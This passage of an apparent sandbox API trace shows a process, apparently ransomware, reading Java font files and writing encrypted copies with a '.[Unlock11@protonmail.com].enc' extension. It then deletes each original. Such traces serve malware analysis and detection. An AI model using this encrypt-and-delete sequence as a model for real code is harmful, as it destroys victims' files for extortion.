| out: hHeap=0x2ad0000) returned 1 [0132.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2598) returned 0x35c0a00 [0132.728] GetCurrentThreadId () returned 0x9b0 [0132.728] GetLastError () returned 0x0 [0132.729] GetLastError () returned 0x0 [0132.729] GetLastError () returned 0x0 [0132.729] GetLastError () returned 0x0 [0132.729] GetCurrentThreadId () returned 0x9b0 [0132.729] GetLastError () returned 0x0 [0132.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0132.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.729] GetLastError () returned 0x0 [0132.729] GetLastError () returned 0x0 [0132.730] GetCurrentThreadId () returned 0x9b0 [0132.730] GetLastError () returned 0x0 [0132.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.730] GetLastError () returned 0x0 [0132.730] GetLastError () returned 0x0 [0132.730] GetCurrentThreadId () returned 0x9b0 [0132.730] GetLastError () returned 0x0 [0132.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.731] GetLastError () returned 0x0 [0132.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.731] CloseHandle (hObject=0x3ac) returned 1 [0132.731] GetLastError () returned 0x0 [0132.731] GetCurrentThreadId () returned 0x9b0 [0132.731] GetLastError () returned 0x0 [0132.731] GetLastError () returned 0x0 [0132.732] CloseHandle (hObject=0x39c) returned 1 [0132.732] GetLastError () returned 0x0 [0132.732] GetCurrentThreadId () returned 0x9b0 [0132.732] GetLastError () returned 0x0 [0132.732] GetLastError () returned 0x0 [0132.732] GetLastError () returned 0x0 [0132.732] GetLastError () returned 0x0 [0132.732] GetLastError () returned 0x0 [0132.732] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0132.734] GetLastError () returned 0x0 [0132.734] GetCurrentThreadId () returned 0x9b0 [0132.734] GetLastError () returned 0x0 [0132.734] GetLastError () returned 0x0 [0132.734] GetLastError () returned 0x0 [0132.734] GetLastError () returned 0x0 [0132.734] GetLastError () returned 0x0 [0132.734] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf", lpFilePart=0x9bada4*="LucidaBrightItalic.ttf") returned 0x43 [0132.734] GetCurrentThreadId () returned 0x9b0 [0132.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0132.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0132.735] GetCurrentThreadId () returned 0x9b0 [0132.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccc8 [0132.735] GetLastError () returned 0x0 [0132.735] GetLastError () returned 0x0 [0132.735] GetLastError () returned 0x0 [0132.735] GetLastError () returned 0x0 [0132.735] GetCurrentThreadId () returned 0x9b0 [0132.736] GetLastError () returned 0x0 [0132.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccc8 | out: hHeap=0x2ad0000) returned 1 [0132.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0132.736] GetLastError () returned 0x0 [0132.736] GetLastError () returned 0x0 [0132.736] GetLastError () returned 0x0 [0132.736] GetLastError () returned 0x0 [0132.736] GetCurrentThreadId () returned 0x9b0 [0132.736] GetLastError () returned 0x0 [0132.736] GetLastError () returned 0x0 [0132.737] GetLastError () returned 0x0 [0132.737] GetLastError () returned 0x0 [0132.737] GetLastError () returned 0x0 [0132.737] GetLastError () returned 0x0 [0132.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0132.737] GetLastError () returned 0x0 [0132.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0132.737] GetLastError () returned 0x0 [0132.737] GetLastError () returned 0x0 [0132.737] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0132.738] GetLastError () returned 0x0 [0132.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0132.738] GetLastError () returned 0x0 [0132.738] GetLastError () returned 0x0 [0132.739] GetLastError () returned 0x0 [0132.739] GetLastError () returned 0x0 [0132.739] GetLastError () returned 0x0 [0132.739] GetLastError () returned 0x0 [0132.739] GetLastError () returned 0x0 [0132.739] GetLastError () returned 0x0 [0132.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.739] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8)) returned 1 [0132.740] GetLastError () returned 0x0 [0132.740] GetLastError () returned 0x0 [0132.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0132.740] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d5d4 | out: pbBuffer=0x366d5d4) returned 1 [0132.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0132.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0132.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cbb0 [0132.740] GetLastError () returned 0x0 [0132.740] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cbb0 | out: hHeap=0x2ad0000) returned 1 [0132.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce58 [0132.741] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.741] GetLastError () returned 0x0 [0132.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce58 | out: hHeap=0x2ad0000) returned 1 [0132.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3c68 | out: hHeap=0x2ad0000) returned 1 [0132.742] GetLastError () returned 0x0 [0132.742] GetLastError () returned 0x0 [0132.742] GetLastError () returned 0x0 [0132.742] GetLastError () returned 0x0 [0132.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.742] GetLastError () returned 0x0 [0132.742] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.743] GetFileType (hFile=0x39c) returned 0x1 [0132.743] GetLastError () returned 0x0 [0132.743] GetLastError () returned 0x0 [0132.743] GetFileType (hFile=0x39c) returned 0x1 [0132.743] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.743] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.743] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.743] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.743] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.743] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.744] GetLastError () returned 0x0 [0132.744] GetCurrentThreadId () returned 0x9b0 [0132.744] GetLastError () returned 0x0 [0132.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63d8 | out: hHeap=0x2ad0000) returned 1 [0132.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0132.744] GetLastError () returned 0x0 [0132.744] GetLastError () returned 0x0 [0132.744] GetLastError () returned 0x0 [0132.744] GetLastError () returned 0x0 [0132.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.745] GetLastError () returned 0x0 [0132.745] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.745] GetFileType (hFile=0x3ac) returned 0x1 [0132.745] GetLastError () returned 0x0 [0132.745] GetCurrentThreadId () returned 0x9b0 [0132.745] GetLastError () returned 0x0 [0132.745] GetFileType (hFile=0x3ac) returned 0x1 [0132.745] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.746] GetLastError () returned 0x0 [0132.746] GetCurrentThreadId () returned 0x9b0 [0132.746] GetLastError () returned 0x0 [0132.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0132.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.747] GetLastError () returned 0x0 [0132.747] GetLastError () returned 0x0 [0132.747] GetCurrentThreadId () returned 0x9b0 [0132.747] GetLastError () returned 0x0 [0132.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.747] GetLastError () returned 0x0 [0132.747] GetLastError () returned 0x0 [0132.747] GetCurrentThreadId () returned 0x9b0 [0132.747] GetLastError () returned 0x0 [0132.747] GetLastError () returned 0x0 [0132.749] GetLastError () returned 0x0 [0132.749] GetCurrentThreadId () returned 0x9b0 [0132.749] GetLastError () returned 0x0 [0132.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6448 | out: hHeap=0x2ad0000) returned 1 [0132.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.750] GetCurrentThreadId () returned 0x9b0 [0132.750] GetLastError () returned 0x0 [0132.750] GetLastError () returned 0x0 [0132.750] GetLastError () returned 0x0 [0132.750] GetLastError () returned 0x0 [0132.750] GetCurrentThreadId () returned 0x9b0 [0132.750] GetLastError () returned 0x0 [0132.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.751] GetLastError () returned 0x0 [0132.752] GetLastError () returned 0x0 [0132.753] GetCurrentThreadId () returned 0x9b0 [0132.753] GetLastError () returned 0x0 [0132.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.753] GetLastError () returned 0x0 [0132.753] GetLastError () returned 0x0 [0132.753] GetCurrentThreadId () returned 0x9b0 [0132.753] GetLastError () returned 0x0 [0132.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.754] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0x3bf5) returned 0x37bf790 [0132.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63b8 [0132.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6528 | out: hHeap=0x2ad0000) returned 1 [0132.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3bf8) returned 0x35c0a00 [0132.754] GetCurrentThreadId () returned 0x9b0 [0132.754] GetLastError () returned 0x0 [0132.754] GetLastError () returned 0x0 [0132.754] GetLastError () returned 0x0 [0132.754] GetLastError () returned 0x0 [0132.754] GetCurrentThreadId () returned 0x9b0 [0132.754] GetLastError () returned 0x0 [0132.755] GetCurrentThreadId () returned 0x9b0 [0132.755] GetLastError () returned 0x0 [0132.755] GetCurrentThreadId () returned 0x9b0 [0132.755] GetLastError () returned 0x0 [0132.755] CloseHandle (hObject=0x3ac) returned 1 [0132.756] GetCurrentThreadId () returned 0x9b0 [0132.756] GetLastError () returned 0x0 [0132.756] CloseHandle (hObject=0x39c) returned 1 [0132.756] GetCurrentThreadId () returned 0x9b0 [0132.756] GetLastError () returned 0x0 [0132.756] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0132.757] GetLastError () returned 0x0 [0132.758] GetCurrentThreadId () returned 0x9b0 [0132.758] GetLastError () returned 0x0 [0132.758] GetCurrentThreadId () returned 0x9b0 [0132.758] GetLastError () returned 0x0 [0132.758] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf", lpFilePart=0x9bada4*="LucidaBrightRegular.ttf") returned 0x44 [0132.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0132.758] GetCurrentThreadId () returned 0x9b0 [0132.758] GetCurrentThreadId () returned 0x9b0 [0132.758] GetLastError () returned 0x0 [0132.758] GetCurrentThreadId () returned 0x9b0 [0132.759] GetLastError () returned 0x0 [0132.759] GetCurrentThreadId () returned 0x9b0 [0132.759] GetCurrentThreadId () returned 0x9b0 [0132.759] GetLastError () returned 0x0 [0132.759] GetCurrentThreadId () returned 0x9b0 [0132.759] GetLastError () returned 0x0 [0132.759] GetCurrentThreadId () returned 0x9b0 [0132.759] GetLastError () returned 0x0 [0132.759] GetCurrentThreadId () returned 0x9b0 [0132.759] GetCurrentThreadId () returned 0x9b0 [0132.759] GetLastError () returned 0x0 [0132.759] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c)) returned 1 [0132.760] GetCurrentThreadId () returned 0x9b0 [0132.760] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d534 | out: pbBuffer=0x366d534) returned 1 [0132.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0132.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0132.760] GetCurrentThreadId () returned 0x9b0 [0132.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0132.760] GetCurrentThreadId () returned 0x9b0 [0132.760] GetCurrentThreadId () returned 0x9b0 [0132.761] GetCurrentThreadId () returned 0x9b0 [0132.761] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.761] GetFileType (hFile=0x39c) returned 0x1 [0132.761] GetCurrentThreadId () returned 0x9b0 [0132.761] GetFileType (hFile=0x39c) returned 0x1 [0132.761] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.762] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.762] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.762] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.762] GetCurrentThreadId () returned 0x9b0 [0132.762] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.762] GetFileType (hFile=0x3ac) returned 0x1 [0132.762] GetCurrentThreadId () returned 0x9b0 [0132.762] GetFileType (hFile=0x3ac) returned 0x1 [0132.763] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.763] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.763] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.763] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.763] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.763] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.763] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.763] GetCurrentThreadId () returned 0x9b0 [0132.763] GetCurrentThreadId () returned 0x9b0 [0132.763] GetCurrentThreadId () returned 0x9b0 [0132.780] GetCurrentThreadId () returned 0x9b0 [0132.781] GetCurrentThreadId () returned 0x9b0 [0132.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.781] GetCurrentThreadId () returned 0x9b0 [0132.783] GetCurrentThreadId () returned 0x9b0 [0132.783] GetCurrentThreadId () returned 0x9b0 [0132.784] GetCurrentThreadId () returned 0x9b0 [0132.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.784] GetCurrentThreadId () returned 0x9b0 [0132.785] GetCurrentThreadId () returned 0x9b0 [0132.785] GetCurrentThreadId () returned 0x9b0 [0132.787] GetCurrentThreadId () returned 0x9b0 [0132.787] GetCurrentThreadId () returned 0x9b0 [0132.788] GetCurrentThreadId () returned 0x9b0 [0132.788] GetCurrentThreadId () returned 0x9b0 [0132.789] GetCurrentThreadId () returned 0x9b0 [0132.789] GetCurrentThreadId () returned 0x9b0 [0132.790] GetCurrentThreadId () returned 0x9b0 [0132.790] GetCurrentThreadId () returned 0x9b0 [0132.791] GetCurrentThreadId () returned 0x9b0 [0132.791] GetCurrentThreadId () returned 0x9b0 [0132.792] GetCurrentThreadId () returned 0x9b0 [0132.793] GetCurrentThreadId () returned 0x9b0 [0132.793] GetCurrentThreadId () returned 0x9b0 [0132.793] GetCurrentThreadId () returned 0x9b0 [0132.793] GetCurrentThreadId () returned 0x9b0 [0132.793] GetCurrentThreadId () returned 0x9b0 [0132.793] CloseHandle (hObject=0x3ac) returned 1 [0132.794] GetCurrentThreadId () returned 0x9b0 [0132.794] CloseHandle (hObject=0x39c) returned 1 [0132.794] GetCurrentThreadId () returned 0x9b0 [0132.794] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0132.797] GetLastError () returned 0x0 [0132.798] GetCurrentThreadId () returned 0x9b0 [0132.798] GetLastError () returned 0x0 [0132.798] GetCurrentThreadId () returned 0x9b0 [0132.798] GetLastError () returned 0x0 [0132.798] GetLastError () returned 0x0 [0132.798] GetLastError () returned 0x0 [0132.798] GetLastError () returned 0x0 [0132.798] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf", lpFilePart=0x9bada4*="LucidaSansDemiBold.ttf") returned 0x43 [0132.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0132.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0132.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.799] GetCurrentThreadId () returned 0x9b0 [0132.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0132.799] GetLastError () returned 0x0 [0132.799] GetLastError () returned 0x0 [0132.799] GetLastError () returned 0x0 [0132.799] GetLastError () returned 0x0 [0132.799] GetCurrentThreadId () returned 0x9b0 [0132.799] GetLastError () returned 0x0 [0132.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0132.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce58 [0132.800] GetLastError () returned 0x0 [0132.800] GetLastError () returned 0x0 [0132.800] GetLastError () returned 0x0 [0132.800] GetLastError () returned 0x0 [0132.800] GetCurrentThreadId () returned 0x9b0 [0132.800] GetLastError () returned 0x0 [0132.800] GetCurrentThreadId () returned 0x9b0 [0132.800] GetLastError () returned 0x0 [0132.800] GetLastError () returned 0x0 [0132.800] GetLastError () returned 0x0 [0132.801] GetLastError () returned 0x0 [0132.801] GetCurrentThreadId () returned 0x9b0 [0132.801] GetLastError () returned 0x0 [0132.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce58 | out: hHeap=0x2ad0000) returned 1 [0132.801] GetLastError () returned 0x0 [0132.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0132.801] GetLastError () returned 0x0 [0132.801] GetLastError () returned 0x0 [0132.801] GetLastError () returned 0x0 [0132.801] GetCurrentThreadId () returned 0x9b0 [0132.801] GetLastError () returned 0x0 [0132.802] GetLastError () returned 0x0 [0132.802] GetLastError () returned 0x0 [0132.802] GetLastError () returned 0x0 [0132.802] GetLastError () returned 0x0 [0132.802] GetCurrentThreadId () returned 0x9b0 [0132.802] GetLastError () returned 0x0 [0132.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0132.802] GetCurrentThreadId () returned 0x9b0 [0132.802] GetLastError () returned 0x0 [0132.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: 